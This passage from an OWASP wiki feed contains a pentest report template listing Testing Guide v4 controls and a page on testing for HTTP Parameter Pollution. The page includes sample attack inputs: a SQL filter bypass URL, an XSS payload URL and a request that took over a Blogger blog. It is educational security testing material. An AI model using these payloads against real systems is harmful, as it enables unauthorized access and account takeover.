This section outlines when the testing commenced and when it was completed.&lt;br /&gt;
&lt;br /&gt;
2.4 Targets: &lt;br /&gt;
This section lists the number of applications or targeted systems.&lt;br /&gt;
&lt;br /&gt;
2.5 Limitations:&lt;br /&gt;
This section outlines every limitation which was faced throughout the assessment. For example, limitations of project-focused tests, limitation in the security testing methods, performance or technical issues that the tester come across during the course of assessment, etc.&lt;br /&gt;
&lt;br /&gt;
2.6 Findings Summary:&lt;br /&gt;
This section outlines the vulnerabilities that were discovered during testing.&lt;br /&gt;
&lt;br /&gt;
2.7 Remediation Summary:&lt;br /&gt;
This section outlines the action plan for fixing the vulnerabilities that were discovered during testing.&lt;br /&gt;
&lt;br /&gt;
'''3. Findings''' &lt;br /&gt;
&lt;br /&gt;
The last section of the report includes detailed technical information about the vulnerabilities found and the actions needed to resolve them. This section is aimed at a technical level and should include all the necessary information for the technical teams to understand the issue and resolve it. Each finding should be clear and concise and give the reader of the report a full understanding of the issue at hand.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The findings section should include:&lt;br /&gt;
&lt;br /&gt;
* Screenshots and command lines to indicate what tasks were undertaken during the execution of the test case &lt;br /&gt;
* The affected item&lt;br /&gt;
* A technical description of the issue and the affected function or object &lt;br /&gt;
* A section on resolving the issue &lt;br /&gt;
* The severity rating [1], with vector notation if using CVSS&lt;br /&gt;
&lt;br /&gt;
The following is the list of controls that were tested during the assessment:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Test ID'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Test Description'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Findings'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Severity'''&lt;br /&gt;
| align=&amp;quot;center&amp;quot; style=&amp;quot;background:#f0f0f0;&amp;quot;|'''Recommendations'''&lt;br /&gt;
|-&lt;br /&gt;
| ||||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Information Gathering'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-001||Conduct Search Engine Discovery and Reconnaissance for Information Leakage || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-002||Fingerprint Web Server || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-003||Review Webserver Metafiles for Information Leakage || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-004||Enumerate Applications on Webserver || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-005||Review Webpage Comments and Metadata for Information Leakage || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-006||Identify application entry points || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-007||Map execution paths through application || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-009||Fingerprint Web Application Framework || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-009||Fingerprint Web Application || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INFO-010||Map Application Architecture || || ||&lt;br /&gt;
|-&lt;br /&gt;
| || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Configuration and Deploy Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-001||Test Network/Infrastructure Configuration || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-002 ||Test Application Platform Configuration || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-003||Test File Extensions Handling for Sensitive Information || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-004|| Backup and Unreferenced Files for Sensitive Information || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-005||Enumerate Infrastructure and Application Admin Interfaces || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-006||Test HTTP Methods || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-007||Test HTTP Strict Transport Security || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CONFIG-008||Test RIA cross domain policy || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Identity Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-001||Test Role Definitions || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-002||Test User Registration Process || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-003||Test Account Provisioning Process || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-004||Testing for Account Enumeration and Guessable User Account || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-005||Testing for Weak or unenforced username policy || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-006||Test Permissions of Guest/Training Accounts || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-IDENT-007||Test Account Suspension/Resumption Process || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Authentication Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-001||Testing for Credentials Transported over an Encrypted Channel || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-002||Testing for default credentials || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-003||Testing for Weak lock out mechanism || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-004||Testing for bypassing authentication schema || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-005||Test remember password functionality || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-006||Testing for Browser cache weakness || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-007||Testing for Weak password policy || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-008||Testing for Weak security question/answer || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-009||Testing for weak password change or reset functionalities || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHN-010||Testing for Weaker authentication in alternative channel || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Authorization Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHZ-001||Testing Directory traversal/file include || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHZ-002||Testing for bypassing authorization schema || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHZ-003||Testing for Privilege Escalation || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-AUTHZ-004||Testing for Insecure Direct Object References || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Session Management Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-001 ||Testing for Bypassing Session Management Schema || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-002 ||Testing for Cookies attributes || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-003 ||Testing for Session Fixation || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-004 ||Testing for Exposed Session Variables || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-005 ||Testing for Cross Site Request Forgery || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-006 ||Testing for logout functionality || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-007 ||Test Session Timeout || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-SESS-008 ||Testing for Session puzzling || || ||&lt;br /&gt;
|-&lt;br /&gt;
| || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Input Validation Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-001||Testing for Reflected Cross Site Scripting || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-002||Testing for Stored Cross Site Scripting || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-003 ||Testing for HTTP Verb Tampering || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-004||Testing for HTTP Parameter pollution || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-006||Testing for SQL Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Oracle Testing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||MySQL Testing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||SQL Server Testing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing PostgreSQL || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||MS Access Testing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for NoSQL injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-007||Testing for LDAP Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-008||Testing for ORM Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-009||Testing for XML Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-010||Testing for SSI Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-011||Testing for XPath Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-012||IMAP/SMTP Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-013||Testing for Code Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for Local File Inclusion || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for Remote File Inclusion || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-014||Testing for Command Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-015||Testing for Buffer overflow || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for Heap overflow || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for Stack overflow || || ||&lt;br /&gt;
|-&lt;br /&gt;
| ||Testing for Format string || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-016||Testing for incubated vulnerabilities || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-INPVAL-017||Testing for HTTP Splitting/Smuggling || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Error Handling'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-ERR-001||Analysis of Error Codes || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-ERR-002||Analysis of Stack Traces || || ||&lt;br /&gt;
|-&lt;br /&gt;
| || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Cryptography'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CRYPST-001||Testing for Weak SSL/TSL Ciphers,  Insufficient Transport Layer Protection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CRYPST-002||Testing for Padding Oracle || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CRYPST-003||Testing for Sensitive information sent via unencrypted channels || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Business Logic Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-001||Test Business Logic Data Validation || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-002||Test Ability to Forge Requests || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-003||Test Integrity Checks || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-004||Test for Process Timing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-005||Test Number of Times a Function Can be Used Limits || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-006||Testing for the Circumvention of Work Flows || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-007||Test Defenses Against Application Mis-use || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-008||Test Upload of Unexpected File Types || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-BUSLOGIC-009||Test Upload of Malicious Files || || ||&lt;br /&gt;
|-&lt;br /&gt;
| |||| || || ||&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;5&amp;quot; | '''Client Side Testing'''&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-001||Testing for DOM based Cross Site Scripting || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-002||Testing for JavaScript Execution || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-003||Testing for HTML Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-004 ||Testing for Client Side URL Redirect || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-005||Testing for CSS Injection || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-006||Testing for Client Side Resource Manipulation || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-007||Test Cross Origin Resource Sharing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-008||Testing for Cross Site Flashing || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-009||Testing for Clickjacking || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-010||Testing WebSockets || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-011||Test Web Messaging || || ||&lt;br /&gt;
|-&lt;br /&gt;
| OTG-CLIENT-012||Test Local Storage || || ||&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Appendix'''  &lt;br /&gt;
&lt;br /&gt;
This section is often used to describe the commercial and open-source tools that were used in conducting the assessment. When custom scripts or code are utilized during the assessment, it should be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It gives them an idea of the thoroughness of the assessment and what areas were included.&lt;br /&gt;
&lt;br /&gt;
'''References'''&lt;br /&gt;
Industry standard vulnerability severity and risk rankings (CVSS) [1] – http://www.first.org/cvss&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=186289</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=186289"/>
				<updated>2014-12-01T17:22:51Z</updated>
		
		<summary type="html">&lt;p&gt;Nvhaver: /* Client-side HPP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short ''HPP'') affects a building block of all web technologies, server and client side attacks exist. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. For instance, [http://www.ietf.org/rfc/rfc3986.txt RFC 3986] simply defines the term ''Query String'' as a series of field-value pairs and [http://www.ietf.org/rfc/rfc2396.txt  RFC 2396] defines classes of reversed and unreserved query string characters. Without a standard in place, web application components handle this edge case in a variety of ways (see the table below for details). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker. As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input Validation and filters bypass ===&lt;br /&gt;
In 2009, immediately after the publication of the first research on HTTP Parameter Pollution, the technique received attention from the security community as a possible way to bypass web application firewalls.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
One of these flaws, affecting ''ModSecurity SQL Injection Core Rules'', represents a perfect example of the impedance mismatch between applications and filters.  The ModSecurity filter would correctly blacklist the following string: &amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;, thus blocking this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;. However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3&amp;lt;/code&amp;gt; from table would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Another HPP vulnerability turned out to affect ''Apple Cups'', the well-known printing system used by many UNIX systems. Exploiting HPP, an attacker could easily trigger a Cross-Site Scripting vulnerability using the following URL: &amp;lt;code&amp;gt;http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&amp;amp;kerberos&amp;lt;/code&amp;gt;. The application validation checkpoint could be bypassed by adding an extra &amp;lt;code&amp;gt;kerberos&amp;lt;/code&amp;gt; argument having a valid string (e.g. empty string). As the validation checkpoint would only consider the second occurrence, the first &amp;lt;code&amp;gt;kerberos&amp;lt;/code&amp;gt; parameter was not properly sanitized before being used to generate dynamic HTML content. Successful exploitation would result in Javascript code execution under the context of the hosting web site.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Authentication bypass ===&lt;br /&gt;
An even more critical HPP vulnerability was discovered in ''Blogger'', the popular blogging platform. The bug allowed malicious users to take ownership of the victim’s blog by using the following HTTP request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
POST /add-authors.do HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
security_token=attackertoken&amp;amp;blogID=attackerblogidvalue&amp;amp;blogID=victimblogidvalue&amp;amp;authorsList=goldshlager19test%40gmail.com(attacker email)&amp;amp;ok=Invite&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The flaw resided in the authentication mechanism used by the web application, as the security check was performed on the first &amp;lt;code&amp;gt;blogID&amp;lt;/code&amp;gt; parameter, whereas the actual operation used the second occurrence.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Expected Behavior by Application Server===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The following table illustrates how different web technologies behave in presence of multiple occurrences of the same HTTP parameter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
&lt;br /&gt;
Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions. However, as in-depth business logic knowledge is necessary, testing HPP requires manual testing. Automatic tools can only partially assist auditors as they tend to generate too many false positives. In addition, HPP can manifest itself in client-side and server-side components.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Server-side HPP ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To test for HPP vulnerabilities, identify any form or action that allows user-supplied input. Query string parameters in HTTP GET requests are easy to tweak in the navigation bar of the browser. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server. &lt;br /&gt;
Having identified a particular input parameter to test, one can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. To test for HPP vulnerabilities simply append the same parameter to the GET or POST data but with a different value assigned. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example: if testing the &amp;lt;code&amp;gt;search_string&amp;lt;/code&amp;gt; parameter in the query string, the request URL would include that parameter name and value.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;http://example.com/?search_string=kittens&amp;lt;/code&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Append the same parameter with a different value&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;amp;search_string=puppies&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
and submit the new request. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show &amp;lt;code&amp;gt;kittens&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;puppies&amp;lt;/code&amp;gt;, some combination of both (&amp;lt;code&amp;gt;kittens,puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;kittens~puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;['kittens','puppies']&amp;lt;/code&amp;gt;), may give an empty result, or error page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation and other security mechanisms are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated, different web application components use different occurrences or testing generates an error, there is an increased likelihood of being able to use parameter pollution to trigger security vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A more in-depth analysis would require three HTTP requests for each HTTP parameter:&lt;br /&gt;
# Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. &amp;lt;code&amp;gt;page?par1=val1&amp;lt;/code&amp;gt;&lt;br /&gt;
# Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. &amp;lt;code&amp;gt;page?par1=HPP_TEST1&amp;lt;/code&amp;gt;&lt;br /&gt;
# Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. &amp;lt;code&amp;gt;page?par1=val1&amp;amp;par1=HPP_TEST1&amp;lt;/code&amp;gt;&lt;br /&gt;
# Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Client-side HPP ===&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Similarly to server-side HPP, manual testing is the only reliable technique to audit web applications in order to detect parameter pollution vulnerabilities affecting client-side components. While in the server-side variant the attacker leverages a vulnerable web application to access protected data or to perform actions that either not permitted or not supposed to be executed, client-side attacks aim at subverting client-side components and technologies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To test for HPP client-side vulnerabilities, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Similarly to server-side HPP, pollute each HTTP parameter with &amp;lt;code&amp;gt;%26HPP_TEST&amp;lt;/code&amp;gt; and look for ''url-decoded'' occurrences of the user-supplied payload:&lt;br /&gt;
* &amp;lt;code&amp;gt;&amp;amp;HPP_TEST&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;&amp;lt;tt&amp;gt;&amp;amp;amp;amp;HPP_TEST&amp;lt;/tt&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
* … and others&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In particular, pay attention to responses having HPP vectors within &amp;lt;code&amp;gt;data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;src&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;href&amp;lt;/code&amp;gt; attributes or forms actions. Again, whether or not this default behavior reveals a potential vulnerability depends on the specific input validation, filtering and application business logic. In addition, it is important to notice that this vulnerability can also affect query string parameters used in XMLHttpRequest (XHR), runtime attribute creation and other plugin technologies (e.g. Adobe Flash’s flashvars variables).&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
OWASP ZAP HPP Passive/Active Scanners [https://code.google.com/p/zap-extensions/wiki/V1Extensions]&lt;br /&gt;
&lt;br /&gt;
HPP Finder (Chrome Plugin) [https://chrome.google.com/webstore/detail/hpp-finder]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola [https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf]&lt;br /&gt;
&lt;br /&gt;
Split and Join (Bypassing Web Application Firewalls with HTTP Parameter Pollution) - Lavakumar Kuppan [http://www.andlabs.org/whitepapers/Split_and_Join.pdf]&lt;br /&gt;
&lt;br /&gt;
Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) - Stefano di Paola [http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html]&lt;br /&gt;
&lt;br /&gt;
How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel [http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/]&lt;br /&gt;
&lt;br /&gt;
CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze [http://capec.mitre.org/data/definitions/460.html]&lt;br /&gt;
&lt;br /&gt;
Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications - Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, Engin Kirda [http://www.iseclab.org/people/embyte/papers/hpp.pdf]&lt;/div&gt;</summary>
		<author><name>Nvhaver</name></author>	</entry>

	</feed>